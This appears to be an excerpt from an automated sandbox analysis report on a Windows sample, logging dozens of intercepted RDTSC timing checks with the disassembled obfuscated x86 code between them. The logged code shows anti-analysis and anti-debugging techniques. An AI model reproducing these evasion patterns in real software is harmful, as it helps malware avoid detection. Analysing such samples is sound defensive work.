Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE73E second address: 7EE758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A25h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE880 second address: 7EE89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27149h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE89F second address: 7EE8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE8A3 second address: 7EE8D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC6C5B27142h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ja 00007FC6C5B27153h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FC6C5B2713Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEA23 second address: 7EEA27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEB71 second address: 7EEB81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEB81 second address: 7EEB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EED10 second address: 7EED1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF3D3 second address: 7EF3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC6C5B27A1Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF3E9 second address: 7EF3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF960 second address: 7EF96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC6C5B27A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3AD0 second address: 7F3AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007FC6C5B27136h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6B66 second address: 7F6B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBCBC second address: 7FBCE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC6C5B2713Ah 0x00000011 jnc 00007FC6C5B27136h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBCE1 second address: 7FBCEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E68B5 second address: 7E68BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC41F second address: 7FC432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A1Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDB36 second address: 7FDB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC31 second address: 7FDC40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC40 second address: 7FDC44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC44 second address: 7FDC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC6C5B27A1Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 jmp 00007FC6C5B27A22h 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b jc 00007FC6C5B27A22h 0x00000021 jne 00007FC6C5B27A1Ch 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pop esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDC8D second address: 7FDC93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDF7F second address: 7FDF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FC6C5B27A16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE0E1 second address: 7FE0E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE0E5 second address: 7FE0E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE347 second address: 7FE34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE34C second address: 7FE352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE352 second address: 7FE356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800F92 second address: 800FED instructions: 0x00000000 rdtsc 0x00000002 je 00007FC6C5B27A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c jnl 00007FC6C5B27A1Ch 0x00000012 sub dword ptr [ebp+13A43781h], edx 0x00000018 push 00000000h 0x0000001a jne 00007FC6C5B27A1Ch 0x00000020 push 00000000h 0x00000022 jmp 00007FC6C5B27A24h 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jbe 00007FC6C5B27A2Ch 0x00000030 jmp 00007FC6C5B27A26h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800FED second address: 800FF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802554 second address: 8025B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FC6C5B27A18h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov dword ptr [ebp+13A42F15h], eax 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FC6C5B27A18h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov edi, dword ptr [ebp+13A43547h] 0x0000004d push 00000000h 0x0000004f clc 0x00000050 xor si, 1E55h 0x00000055 xchg eax, ebx 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80708F second address: 807093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804D9D second address: 804DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC6C5B27A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807093 second address: 8070A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FC6C5B27136h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807694 second address: 8076E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FC6C5B27A1Eh 0x0000000c nop 0x0000000d call 00007FC6C5B27A1Ah 0x00000012 pushad 0x00000013 mov eax, dword ptr [ebp+13A43619h] 0x00000019 mov ebx, dword ptr [ebp+13A4291Ah] 0x0000001f popad 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 push eax 0x00000025 mov edi, 0B70E970h 0x0000002a pop edi 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e mov di, ax 0x00000031 xchg eax, esi 0x00000032 js 00007FC6C5B27A3Eh 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC6C5B27A1Ah 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8076E6 second address: 80771A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27148h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FC6C5B27145h 0x00000012 jmp 00007FC6C5B2713Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80864A second address: 80866F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e jmp 00007FC6C5B27A22h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80866F second address: 808673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807927 second address: 807930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B91B second address: 80B91F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D9D6 second address: 80DA23 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC6C5B27A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FC6C5B27A18h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov di, C79Ah 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e jnp 00007FC6C5B27A20h 0x00000034 jmp 00007FC6C5B27A1Ah 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA23 second address: 80DA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80DA29 second address: 80DA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E898 second address: 80E8EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC6C5B2713Ch 0x00000008 jnc 00007FC6C5B27136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 call 00007FC6C5B27140h 0x00000016 je 00007FC6C5B2713Ch 0x0000001c mov ebx, dword ptr [ebp+13BF0721h] 0x00000022 pop edi 0x00000023 movsx ebx, ax 0x00000026 push 00000000h 0x00000028 sub ebx, 1ACB6AEAh 0x0000002e push 00000000h 0x00000030 mov ebx, dword ptr [ebp+13A42C21h] 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FC6C5B2713Eh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80E8EA second address: 80E90A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC6C5B27A25h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8108CF second address: 810963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push ebx 0x0000000a jmp 00007FC6C5B27145h 0x0000000f pop ebx 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FC6C5B27138h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b or bx, F290h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FC6C5B27138h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c cmc 0x0000004d push 00000000h 0x0000004f call 00007FC6C5B27142h 0x00000054 mov dword ptr [ebp+13A41A55h], edi 0x0000005a pop edi 0x0000005b xchg eax, esi 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f jo 00007FC6C5B27136h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810963 second address: 810971 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FC6C5B27A16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810971 second address: 810983 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6C5B27136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8129BB second address: 8129DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC6C5B27A16h 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FC6C5B27A20h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810ACE second address: 810AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6CDC second address: 7C6CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnl 00007FC6C5B27A16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169FE second address: 816A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815DA9 second address: 815DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FC6C5B27A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A1C second address: 817A26 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6C5B27136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A26 second address: 817A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817A2C second address: 817A98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d jc 00007FC6C5B27139h 0x00000013 and bh, FFFFFF92h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FC6C5B27138h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 or bh, 00000001h 0x00000035 xchg eax, esi 0x00000036 push esi 0x00000037 jmp 00007FC6C5B27144h 0x0000003c pop esi 0x0000003d push eax 0x0000003e pushad 0x0000003f jmp 00007FC6C5B27143h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816C3E second address: 816C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC6C5B27A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816C48 second address: 816C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818A02 second address: 818A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817C1B second address: 817C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817C1F second address: 817C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817C23 second address: 817C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817C29 second address: 817C33 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6C5B27A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817C33 second address: 817CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FC6C5B27138h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007FC6C5B27138h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 and edi, dword ptr [ebp+13A42A49h] 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 movsx edi, cx 0x00000054 mov dword ptr [ebp+13BCD266h], ecx 0x0000005a mov eax, dword ptr [ebp+13A40761h] 0x00000060 js 00007FC6C5B27139h 0x00000066 sbb bl, FFFFFFD1h 0x00000069 push FFFFFFFFh 0x0000006b jng 00007FC6C5B2713Bh 0x00000071 sub bx, CFB4h 0x00000076 nop 0x00000077 push edx 0x00000078 jmp 00007FC6C5B2713Ch 0x0000007d pop edx 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jg 00007FC6C5B2713Ch 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81993B second address: 819974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pop edi 0x00000011 nop 0x00000012 xor bl, 0000000Ch 0x00000015 push 00000000h 0x00000017 mov ebx, dword ptr [ebp+13A41EE5h] 0x0000001d push 00000000h 0x0000001f mov ebx, 516E45D1h 0x00000024 push eax 0x00000025 push ecx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ABFA second address: 81ABFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AD3F second address: 81AD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82555C second address: 82556F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82556F second address: 825577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825577 second address: 82557B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0378 second address: 7C039E instructions: 0x00000000 rdtsc 0x00000002 js 00007FC6C5B27A16h 0x00000008 jnp 00007FC6C5B27A16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007FC6C5B27A20h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B5A second address: 824B7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27146h 0x00000007 ja 00007FC6C5B27136h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824B7A second address: 824BA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Ch 0x00000007 jmp 00007FC6C5B27A22h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007FC6C5B27A3Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824BA6 second address: 824BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824BAA second address: 824BB4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6C5B27A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824BB4 second address: 824BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CF4 second address: 824CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CF8 second address: 824CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824CFE second address: 824D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824D07 second address: 824D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B2713Bh 0x00000009 jc 00007FC6C5B27136h 0x0000000f popad 0x00000010 rdtsc
